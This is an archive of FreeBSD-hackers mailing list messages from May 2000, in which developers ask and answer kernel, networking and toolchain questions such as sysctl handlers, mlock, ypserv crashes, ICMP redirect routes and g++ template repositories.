<45E87454FFC2D211AD9800508B650094BA4D67@stu-ex1.waikato.ac.nz> From: "MATTHEW JOHN,LUCKIE" To: "'freebsd-hackers@freebsd.org'" Subject: sysctl_proc Date: Wed, 31 May 2000 20:44:24 +1200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there I am wanting to create an icmp packet in the kernel for the purposes of timestamping it as accurately as i can (in kernel space). At the moment, I am creating a packet and sending it out through a raw socket. I am not sure if i can catch this packet easily in the kernel, and i thought that perhaps a sysctl might be what i want. is this what a SYSCTL_PROC can do for me? basically, i want to pass in an IP address, and a packet ID that the user wants to identify the packet with. In the sysctl, i create the mbuf with the packet i want to send and then send it, all from within the kernel. If it is, what is the difference between a ptr and a hander when creating the SYSCTL_PROC? The handler is the function itself that i want to call, but i cannot see the point of the arg parameter. I am looking at the netinet/in_pcb.c source code. A sample SYSCTL_PROC definition would be handy to me. Thanks in advance Matthew Luckie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 2:37:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 72C3637B861; Wed, 31 May 2000 02:37:17 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id PAA11697; Wed, 31 May 2000 15:05:09 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Wed, 31 May 2000 15:05:08 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id PAA00856; Wed, 31 May 2000 15:04:57 +0530 Date: Wed, 31 May 2000 15:04:57 +0530 (IST) From: "G.B.Naidu" To: Soren Schmidt Cc: freebsd-net@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: system hangs... (fwd) In-Reply-To: <200005310759.JAA91324@freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Soren, Thanks a lot for the help. CTRL+ALT+ESC works. Thanks once again. Now we can do some analysis. regards --gb On Wed, 31 May 2000, Soren Schmidt wrote: > It seems G.B.Naidu wrote: > >=20 > > I have posted this earlier. I didnt get any reply about system hangs. > > Please some body help me out to track down these hangs. Questions are > > below. >=20 > Have you tried putting DDB into the kernel, and tried to > hit ALT+CTRL+ESC to go into the debugger on the hang ? >=20 > Printf is a good tool here, sprinkle your source with > printf's so you can see how far you get, and what=20 > essential values are getting used. >=20 > Another possibility is to attach 8 LED's to a printer > port, those you can then turn on/off at will by a simple > outb statement. I use a 2*40 char LCD display connected > this way sometimes, that gives me a history of 80 values, > so I can se the exact sequence of events that let me to=20 > the problem at hand.. >=20 > -S=F8ren >=20 --=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 4:48:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay02.chello.nl (relay02.chello.nl [212.83.68.146]) by hub.freebsd.org (Postfix) with ESMTP id 33A5D37B542 for ; Wed, 31 May 2000 04:48:46 -0700 (PDT) (envelope-from wkb@chello.nl) Received: from chello.nl ([213.46.78.184]) by relay02.chello.nl (InterMail vK.4.02.00.00 201-232-116 license 2ee4e7c625482f2f2a1950a80f6c8d58) with ESMTP id <20000531114829.BXOV13476.relay02@chello.nl> for ; Wed, 31 May 2000 13:48:29 +0200 Received: (from wkb@localhost) by chello.nl (8.9.3/8.9.3) id NAA87212 for FreeBSD-hackers@freebsd.org; Wed, 31 May 2000 13:48:40 +0200 (CEST) (envelope-from wkb) Date: Wed, 31 May 2000 13:48:40 +0200 From: Wilko Bulte To: FreeBSD hackers list Subject: Getting NIST mpeg2player to work? Message-ID: <20000531134840.A87173@freebie.wbnet> Reply-To: wc.bulte@chello.nl Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-OS: FreeBSD 4.0-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anybody have the NIST mpeg2player working correctly? I'm using the code that sos put on freebsd.dk in Jan. It compile OK, but: WKB /home/src/DVD/nist>mpeg2player Illegal instruction (core dumped) WKB /home/src/DVD/nist> and: (gdb) bt #0 0x8050b19 in __static_initialization_and_destruction_0 () #1 0x8051981 in global constructors keyed to RXwhite () #2 0x804a78c in _start () #3 0x8049f9d in _init () (gdb) ?? Suggestions for another [working..] mpeg2player suitable to play DVDs are also welcome. W/ -- Wilko Bulte FreeBSD, the power to serve http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 5:59:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by hub.freebsd.org (Postfix) with ESMTP id DCF1D37B59C; Wed, 31 May 2000 05:59:50 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id IAA09879; Wed, 31 May 2000 08:59:49 -0400 (EDT) Received: from njb140bh1.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id IAA00986; Wed, 31 May 2000 08:58:48 -0400 (EDT) Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2650.21) id ; Wed, 31 May 2000 08:59:49 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'obrien@FreeBSD.ORG'" Cc: "'freebsd-current@freebsd.org'" , "'freebsd-hackers@freebsd.org'" Subject: RE: kerneld for -current Date: Wed, 31 May 2000 08:59:48 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > is there any interest in ``kerneld'' (a-la Linux) for > FreeBSD? i've got > > some working prototype > > Could you summerize what it offers and does? from RedHat documentation: Red Hat Linux includes kerneld, the Kernel Daemon, which automatically loads some software and hardware support into memory as it is needed, and unloads it when it is no longer being used. thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 6:16: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from helios.iihe.ac.be (sun1.iihe.ac.be [193.190.247.71]) by hub.freebsd.org (Postfix) with ESMTP id 6675637B60B for ; Wed, 31 May 2000 06:16:05 -0700 (PDT) (envelope-from Alain.Jourez@helios.iihe.ac.be) Received: from helios.iihe.ac.be (spc28.iihe.ac.be [193.190.247.28]) by helios.iihe.ac.be (8.9.3/8.9.3) with ESMTP id PAA00758 for ; Wed, 31 May 2000 15:14:26 +0200 (MET DST) Message-ID: <39351064.620FD2A5@helios.iihe.ac.be> Date: Wed, 31 May 2000 15:15:16 +0200 From: Alain Jourez X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14 i686) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: Avoid Page swapping. Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there, Is there a way to prevent some page (data, possibly dynamically assigned) from a process to be swapped ? I've heard it was possible but how ? I beleive the sticky bit was used historically to prevent a whole process to be swapped. What is the precise meaning of it ? The usage I intend is to avoid swapping sensitive data like Crypto keys, so locking the whole process in memory is not realy useful. Thanks -- Alain Jourez Service T=E9l=E9matique et Communication Universit=E9 Libre de Bruxelles T=E9l. +32 (0) 2 650 57 04 Boulevard du Triomphe, CP 230 Fax +32 (0) 2 629 38 16 B-1050 Bruxelles - Belgium mailto:alain.jourez@helios.iihe.ac.be To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 6:21: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.Technion.AC.IL (csa.cs.technion.ac.il [132.68.32.1]) by hub.freebsd.org (Postfix) with ESMTP id 542A037B59C for ; Wed, 31 May 2000 06:21:02 -0700 (PDT) (envelope-from nadav@cs.technion.ac.il) Received: from csd.cs.technion.ac.il (csd.cs.technion.ac.il [132.68.32.8]) by cs.Technion.AC.IL (8.9.0/8.9.0) with ESMTP id QAA00707; Wed, 31 May 2000 16:21:21 +0300 (IDT) Received: from localhost (nadav@localhost) by csd.cs.technion.ac.il (8.9.3/8.9.0) with SMTP id QAA10950; Wed, 31 May 2000 16:21:19 +0300 (IDT) X-Authentication-Warning: csd.cs.technion.ac.il: nadav owned process doing -bs Date: Wed, 31 May 2000 16:21:18 +0300 (IDT) From: Nadav Eiron X-Sender: nadav@csd To: Alain Jourez Cc: freebsd-hackers@freebsd.org Subject: Re: Avoid Page swapping. In-Reply-To: <39351064.620FD2A5@helios.iihe.ac.be> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 31 May 2000, Alain Jourez wrote: > Hi there, > > Is there a way to prevent some page (data, possibly dynamically > assigned) from a process to be swapped ? > I've heard it was possible but how ? > mlock(2) Nadav To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 7: 3:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from web4704.mail.yahoo.com (web4704.mail.yahoo.com [216.115.105.204]) by hub.freebsd.org (Postfix) with SMTP id 5DD6D37B872 for ; Wed, 31 May 2000 07:03:29 -0700 (PDT) (envelope-from kwuensche@yahoo.com) Message-ID: <20000531140328.2408.qmail@web4704.mail.yahoo.com> Received: from [208.176.100.133] by web4704.mail.yahoo.com; Wed, 31 May 2000 07:03:28 PDT Date: Wed, 31 May 2000 07:03:28 -0700 (PDT) From: Kurt Wuensche Subject: Spoofed routes To: freebsd-hackers@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am periodically having routes added to spare ip addresses on my class h network. I am finding these by running netstat -nr which returns flags UHLW for a host route. I have been manually deleting them when I find them, but it is disconerting to keep having this occur. I am not running routed or anything like that. Has anyone else run into this? Perhaps these are ICMP driven. Can anyone point me to a good reference on ICMP (particularly blocking redirects). Thanks, Kurt __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 8:17:29 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52]) by hub.freebsd.org (Postfix) with ESMTP id F187737BDAA for ; Wed, 31 May 2000 08:17:23 -0700 (PDT) (envelope-from justin@apple.com) Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225]) by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id IAA16392 for ; Wed, 31 May 2000 08:17:21 -0700 (PDT) Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Wed, 31 May 2000 08:17:14 -0700 Received: from grinch ([17.219.158.68]) by scv3.apple.com (8.9.3/8.9.3) with SMTP id IAA10426; Wed, 31 May 2000 08:17:13 -0700 (PDT) Message-Id: <200005311517.IAA10426@scv3.apple.com> To: Alain Jourez Subject: Re: Avoid Page swapping. Cc: freebsd-hackers@freebsd.org Date: Wed, 31 May 2000 08:16:41 -0700 From: "Justin C. Walker" Reply-To: justin@apple.com x-mailer: Apple Mail (2.317) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, May 31, 2000, at 06:15 AM, Alain Jourez wrote: > Hi there, > > I beleive the sticky bit was used historically to prevent a whole > process to be swapped. What is the precise meaning of it ? The 'sticky' bit was, historically, intended to keep an executable's swap image around after the last process using it exited. This behavior was an optimization in a time when reading a swap image was noticeably faster than performing an 'exec'. For its current meaning, try 'man sticky'. Regards, Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 10: 6:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.rpi.edu (mumble.cs.rpi.edu [128.213.8.16]) by hub.freebsd.org (Postfix) with ESMTP id 2431037BE0B for ; Wed, 31 May 2000 10:06:43 -0700 (PDT) (envelope-from crossd@cs.rpi.edu) Received: from cs.rpi.edu (phoenix.cs.rpi.edu [128.113.96.153]) by cs.rpi.edu (8.9.3/8.9.3) with ESMTP id NAA78305 for ; Wed, 31 May 2000 13:06:40 -0400 (EDT) Message-Id: <200005311706.NAA78305@cs.rpi.edu> To: freebsd-hackers@freebsd.org Subject: PR #10971, not dead yet. Date: Wed, 31 May 2000 13:06:19 -0400 From: "David E. Cross" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We have still have a problem with PR #10971 here running a -STABLE as of last week. (Long since 10971 should have been dead). It is a difficult problem to track down as stack corruption makes debugging files less than useless. I do, however, have a ktrace of an entire transaction that causes ypserv to die. I am in the process of trying to track down why it is dying, it appears to be a bug in the rpc library itself. Normally what happens is the following: # TCP request comes in, accept(). # yp_all request issued, parent forks. # child handles request, quits. # parent is interrupted in its select() call, dispatches to signal handler for # SIGCHLD # handler returns. # parent issues a read?!? (this is odd, since it doesn't re-enter the select # loop as the code I have read suggests it should). # read fails (0 bytes returned) # it does that a couple of times (probably falling out of loops), and FD is # closed # ypserv re-enters the select loop Under a failure condition the following happens: # Upon child return parent reads from a a DB file to a nonexistent buffer. # parent seg-faults. I believe the problem code is "next to" the section of the code where it selects(), and then accepts() if it is a TCP connection... but I cannot find where this code is. a grep of 'accept' in both the ypserv and rpc code returns no usefull matches. Also, it would certainly appear that there is another select loop than just the one in the the canonical ypsrever. Below is the dying moments for the parent process as reported by ktrace, ideas? 41096 ypserv CALL fork 41096 ypserv RET fork 62356/0xf394 41096 ypserv CALL gettimeofday(0xbfbff510,0) 41096 ypserv RET gettimeofday 0 41096 ypserv CALL select(0x10,0x8051040,0,0,0xbfbff518) 41096 ypserv PSIG SIGCHLD caught handler=0x804c75c mask=0x0 code=0x0 41096 ypserv RET select -1 errno 4 Interrupted system call 41096 ypserv CALL wait4(0xffffffff,0xbfbff308,0x1,0) 41096 ypserv RET wait4 62356/0xf394 41096 ypserv CALL wait4(0xffffffff,0xbfbff308,0x1,0) 41096 ypserv RET wait4 -1 errno 10 No child processes 41096 ypserv CALL sigreturn(0xbfbff328) 41096 ypserv RET sigreturn JUSTRETURN 41096 ypserv CALL gettimeofday(0xbfbff510,0) 41096 ypserv RET gettimeofday 0 41096 ypserv CALL read(0x1c,0x80f3fa0,0xfa0) 41096 ypserv GIO fd 28 read 4000 bytes 41096 ypserv RET read 4000/0xfa0 41096 ypserv PSIG SIGSEGV SIG_DFL 41096 ypserv NAMI "ypserv.core" Oh, this is true of all systems, not just 4.0-STABLE. I was hoping the move to 4.0 might solve the problem, so I wasn't actively trying to debug it before. -- David Cross | email: crossd@cs.rpi.edu Lab Director | Rm: 308 Lally Hall Rensselaer Polytechnic Institute, | Ph: 518.276.2860 Department of Computer Science | Fax: 518.276.4033 I speak only for myself. | WinNT:Linux::Linux:FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 10:23:42 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 8F22837BEDB for ; Wed, 31 May 2000 10:23:24 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA30252; Wed, 31 May 2000 10:23:07 -0700 (PDT) (envelope-from dillon) Date: Wed, 31 May 2000 10:23:07 -0700 (PDT) From: Matthew Dillon Message-Id: <200005311723.KAA30252@apollo.backplane.com> To: "David E. Cross" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: PR #10971, not dead yet. References: <200005311706.NAA78305@cs.rpi.edu> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :We have still have a problem with PR #10971 here running a -STABLE as of last :week. (Long since 10971 should have been dead). It is a difficult problem :to track down as stack corruption makes debugging files less than useless. :I do, however, have a ktrace of an entire transaction that causes ypserv :to die. I am in the process of trying to track down why it is dying, it :appears to be a bug in the rpc library itself. Normally what happens is :the following: :... : :# parent is interrupted in its select() call, dispatches to signal handler for :# SIGCHLD :... : :I believe the problem code is "next to" the section of the code where it :selects(), and then accepts() if it is a TCP connection... but I cannot find :where this code is. a grep of 'accept' in both the ypserv and rpc code :returns no usefull matches. Also, it would certainly appear that there :is another select loop than just the one in the the canonical ypsrever. : :Below is the dying moments for the parent process as reported by ktrace, :ideas? If you can reproduce the problem regularly then I recommend putting a signal guard in to see if the corruption is being caused by the signal interrupting at an inausipcious moment. In main() block SIGHUP, SIGINT, SIGTERM, and SIGCHLD using sigsetmask(). Just prior to the select call unblock the signals. Just after the select call reblock the signals. And see if the corruption still occurs. If this fixes the problem, then there is probably something in the reaper() (in yp_main.c) that is causing corruption, probably by ripping a structure out from under whatever piece of code the signal happens to interrupt. I took a quick look at the code and as far as I can tell it implements no guards whatsoever. The inetd code had similar problems in the past. :Oh, this is true of all systems, not just 4.0-STABLE. I was hoping the move :to 4.0 might solve the problem, so I wasn't actively trying to debug it before. :-- :David Cross | email: crossd@cs.rpi.edu -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 10:28:51 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ludwig.troikanetworks.com (host03.troikanetworks.com [12.31.172.3]) by hub.freebsd.org (Postfix) with ESMTP id E799837BE0B for ; Wed, 31 May 2000 10:28:45 -0700 (PDT) (envelope-from noone@nowhere.com) Received: from stout.troikanetworks.com (host65.troikanetworks.com [12.31.172.65]) by ludwig.troikanetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id LYY76HJR; Wed, 31 May 2000 10:28:51 -0700 From: Kevin Bailey To: freebsd-hackers@freebsd.org Subject: Instantiating templates with -frepo ? Date: Wed, 31 May 2000 09:52:35 -0700 X-Mailer: KMail [version 1.0.29.1] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00053110270200.78429@stout.troikanetworks.com> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone know how to get -frepo working with g++ ? This is what I get when I compile the attached program: % g++ -c -frepo temptest.cpp % g++ -frepo temptest.o temptest.o: In function `main': temptest.o(.text+0x57): undefined reference to `void printit(ClassA &)' Here are the versions of the programs. As you can see, I've 'upgraded' to binutils-2.9.1.0.25 without it making a difference. This is on FreeBSD 4.0. % g++ -v Using builtin specs. gcc version 2.95.2 19991024 (release) % ld -v GNU ld version 2.9.1 (with BFD 2.9.1.0.25) P.S. Return address is nonexistent. Please reply to list. /////////////////////////////////////////////////////////// #include template void printit(C& c) { c.print(); } class ClassA { int _x; public: ClassA(int); void print(); }; ClassA::ClassA(int i) { _x = i; } void ClassA::print() { printf("Its %d\n", _x); } main() { ClassA a(10); printit(a); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 12:11:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.rpi.edu (mumble.cs.rpi.edu [128.213.8.16]) by hub.freebsd.org (Postfix) with ESMTP id 7EF2337BE9E for ; Wed, 31 May 2000 12:11:19 -0700 (PDT) (envelope-from crossd@cs.rpi.edu) Received: from cs.rpi.edu (crossd@wwwpal.cs.rpi.edu [128.113.96.187]) by cs.rpi.edu (8.9.3/8.9.3) with ESMTP id PAA81975; Wed, 31 May 2000 15:10:18 -0400 (EDT) Message-Id: <200005311910.PAA81975@cs.rpi.edu> To: Matthew Dillon Cc: "David E. Cross" , freebsd-hackers@FreeBSD.ORG, crossd@cs.rpi.edu Subject: Re: PR #10971, not dead yet. In-Reply-To: Message from Matthew Dillon of "Wed, 31 May 2000 10:23:07 PDT." <200005311723.KAA30252@apollo.backplane.com> Date: Wed, 31 May 2000 15:10:17 -0400 From: "David E. Cross" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > If you can reproduce the problem regularly then I recommend putting > a signal guard in to see if the corruption is being caused by the > signal interrupting at an inausipcious moment. > > In main() block SIGHUP, SIGINT, SIGTERM, and SIGCHLD using sigsetmask(). > > Just prior to the select call unblock the signals. > > Just after the select call reblock the signals. > > And see if the corruption still occurs. If this fixes the problem, > then there is probably something in the reaper() (in yp_main.c) > that is causing corruption, probably by ripping a structure out from > under whatever piece of code the signal happens to interrupt. > > I took a quick look at the code and as far as I can tell it implements > no guards whatsoever. The inetd code had similar problems in the past. Alas, this is not something I have been able to reliably reproduce, it seems to trigger itself every so-often (and at inconvienient times). But no matter what I do by myself it will not trip. -- David Cross | email: crossd@cs.rpi.edu Lab Director | Rm: 308 Lally Hall Rensselaer Polytechnic Institute, | Ph: 518.276.2860 Department of Computer Science | Fax: 518.276.4033 I speak only for myself. | WinNT:Linux::Linux:FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 12:45:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cepheus.azstarnet.com (cepheus.azstarnet.com [169.197.56.195]) by hub.freebsd.org (Postfix) with ESMTP id A83EC37B515 for ; Wed, 31 May 2000 12:45:38 -0700 (PDT) (envelope-from bobkat@azstarnet.com) Received: from full.planing.jibe (dialup10ip085.tus.azstarnet.com [169.197.34.213]) by cepheus.azstarnet.com (8.9.3/8.9.3) with SMTP id MAA10894; Wed, 31 May 2000 12:44:59 -0700 (MST) X-Sent-via: StarNet http://www.azstarnet.com/ From: Bob Kot To: Warner Losh Subject: Re: subr_bus.c | kldload | kldunload Date: Wed, 31 May 2000 11:52:55 -0700 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <200005301805.MAA17843@harmony.village.org> In-Reply-To: <200005301805.MAA17843@harmony.village.org> Cc: Doug Rabson , freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Message-Id: <00053112445700.00521@full.planing.jibe> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 30 May 2000, you wrote: > There is my iopener led driver that might be a good stard. I'm > writing some articles about this now, but have been so swamped that > I'm not sure when I'll get them done :-(. You can download the led > driver from: > http://people.freebsd.org/~imp/led.tar.gz > Please let me know if you have problems with this, or comments on > this. This was the example I was looking for. I compiled it as a module with a few changes to led_identify (driver_t *driver, device_t parent) { devclass_t dc; device_t child; dc = devclass_find("led"); if (devclass_get_device(dc, 0) == NULL) { child = BUS_ADD_CHILD(parent, 0, "led", -1); device_set_desc(child, "MrLED"); bus_set_resource(child, SYS_RES_IOPORT, 0, LED_IOADDR, 1); } print_devclass_list(); } For driver hacking in 4.0 I have options DDB and BUS_DEBUG in the kernel I use. I strongly recommend any follow up documentation to encourage the use of both of those. The ability to use all of those print_XXX()'s in subr_bus.c was very illuminating to *this* novice 4.0 hacker. I kldloaded / kldunloaded this several times and then went and studied the message log. I am reasonably confident that things are behaving. At least there is no overt evidence of leaks or panics. My aberrant code was very close to this. I had determined I needed a msm_identify() and within it I was calling BUS_ADD_CHILD. At 1st with no conditional and then I had a problem with arguments. BUS_ADD_CHILD(parent, ISA_ORDER_SPECULATIVE, "msm", 0) definitely gave me grief. Also I had DEVMETHOD(device_detach, bus_generic_detach) in my msm_methods. I added an msm_detach instead, that is currently stubbed out to only the return 0 statement. Making only those changes allows me to now kldload & unload my driver with results equivalent to the LED driver. Thank you...Sluething out the right example always makes life so easy. Conceptually I'm not sure I clearly understand what gets left behind in the kernel after a kldunload, but I'll ponder on that and in the mean time continue to whup the driver into shape. 1 3 0 1 3 13013 BOB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 13:12:40 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from css-1.cs.iastate.edu (css-1.cs.iastate.edu [129.186.3.24]) by hub.freebsd.org (Postfix) with ESMTP id 2A13137B612 for ; Wed, 31 May 2000 13:12:37 -0700 (PDT) (envelope-from ghelmer@cs.iastate.edu) Received: from popeye.cs.iastate.edu (ghelmer@popeye.cs.iastate.edu [129.186.3.4]) by css-1.cs.iastate.edu (8.9.0/8.9.0) with ESMTP id PAA11333; Wed, 31 May 2000 15:12:37 -0500 (CDT) Received: from localhost (ghelmer@localhost) by popeye.cs.iastate.edu (8.9.0/8.9.0) with ESMTP id PAA24128; Wed, 31 May 2000 15:12:34 -0500 (CDT) X-Authentication-Warning: popeye.cs.iastate.edu: ghelmer owned process doing -bs Date: Wed, 31 May 2000 15:12:34 -0500 (CDT) From: Guy Helmer To: "David E. Cross" Cc: Matthew Dillon , freebsd-hackers@FreeBSD.ORG Subject: Re: PR #10971, not dead yet. In-Reply-To: <200005311910.PAA81975@cs.rpi.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 31 May 2000, David E. Cross wrote: > > If you can reproduce the problem regularly then I recommend putting > > a signal guard in to see if the corruption is being caused by the > > signal interrupting at an inausipcious moment. > > > > In main() block SIGHUP, SIGINT, SIGTERM, and SIGCHLD using sigsetmask(). > > > > Just prior to the select call unblock the signals. > > > > Just after the select call reblock the signals. > > > > And see if the corruption still occurs. If this fixes the problem, > > then there is probably something in the reaper() (in yp_main.c) > > that is causing corruption, probably by ripping a structure out from > > under whatever piece of code the signal happens to interrupt. > > > > I took a quick look at the code and as far as I can tell it implements > > no guards whatsoever. The inetd code had similar problems in the past. > > Alas, this is not something I have been able to reliably reproduce, it seems > to trigger itself every so-often (and at inconvienient times). But no > matter what I do by myself it will not trip. Is it possibly related to a low-memory situation? I'm trying to solve a problem in cron that sounds similar, and seems to be triggered when the machine goes into swapping. I'm unable to duplicate it myself :-( Guy Guy Helmer, Ph.D. Candidate, Iowa State University Dept. of Computer Science Research Assistant, Dept. of Computer Science --- ghelmer@cs.iastate.edu http://www.cs.iastate.edu/~ghelmer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 31 14:29:51 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.accessus.net (postal.accessus.net [209.145.150.75]) by hub.freebsd.org (Postfix) with ESMTP id 39F4937B580 for ; Wed, 31 May 2000 14:29:48 -0700 (PDT) (envelope-from jyoung@accessus.net) Received: from rhea (cib-1-56.accessus.net [207.206.170.56]) by mail1.accessus.net (Postfix) with SMTP id 4A2D8726C8; Wed, 31 May 2000 16:29:44 -0500 (CDT) Reply-To: From: "Jason Young" To: "'Kurt Wuensche'" , Subject: RE: Spoofed routes Date: Wed, 31 May 2000 16:29:42 -0500 Message-ID: <00d401bfcb47$564d8260$38aacecf@accessus.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <20000531140328.2408.qmail@web4704.mail.yahoo.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Without an example output from netstat it's hard to say. A host route may be installed for a completed ARP entry for an existing "local" host: Destination Gateway Flags Netif Expire 192.168.200.10 0:0:24:60:2b:2a UHLW fxp1 1130 Or an incomplete ARP entry for a nonexistent "local" host you've recently tried to reach: Destination Gateway Flags Netif Expire 192.168.200.50 link#11 UHLW fxp1 => ICMP redirects and path MTU discovery can also insert routes, but I don't have examples handy. You may want to play with these sysctls: net.inet.icmp.log_redirect net.inet.icmp.drop_redirect Jason Young Access US(tm) Chief Network Engineer > -----Original Message----- > From: owner-freebsd-hackers@FreeBSD.ORG > [mailto:owner-freebsd-hackers@FreeBSD.ORG]On Behalf Of Kurt Wuensche > Sent: Wednesday, May 31, 2000 9:03 AM > To: freebsd-hackers@FreeBSD.ORG > Subject: Spoofed routes > > > I am periodically having routes added to spare ip > addresses on my class h network. I am finding these > by running netstat -nr which returns 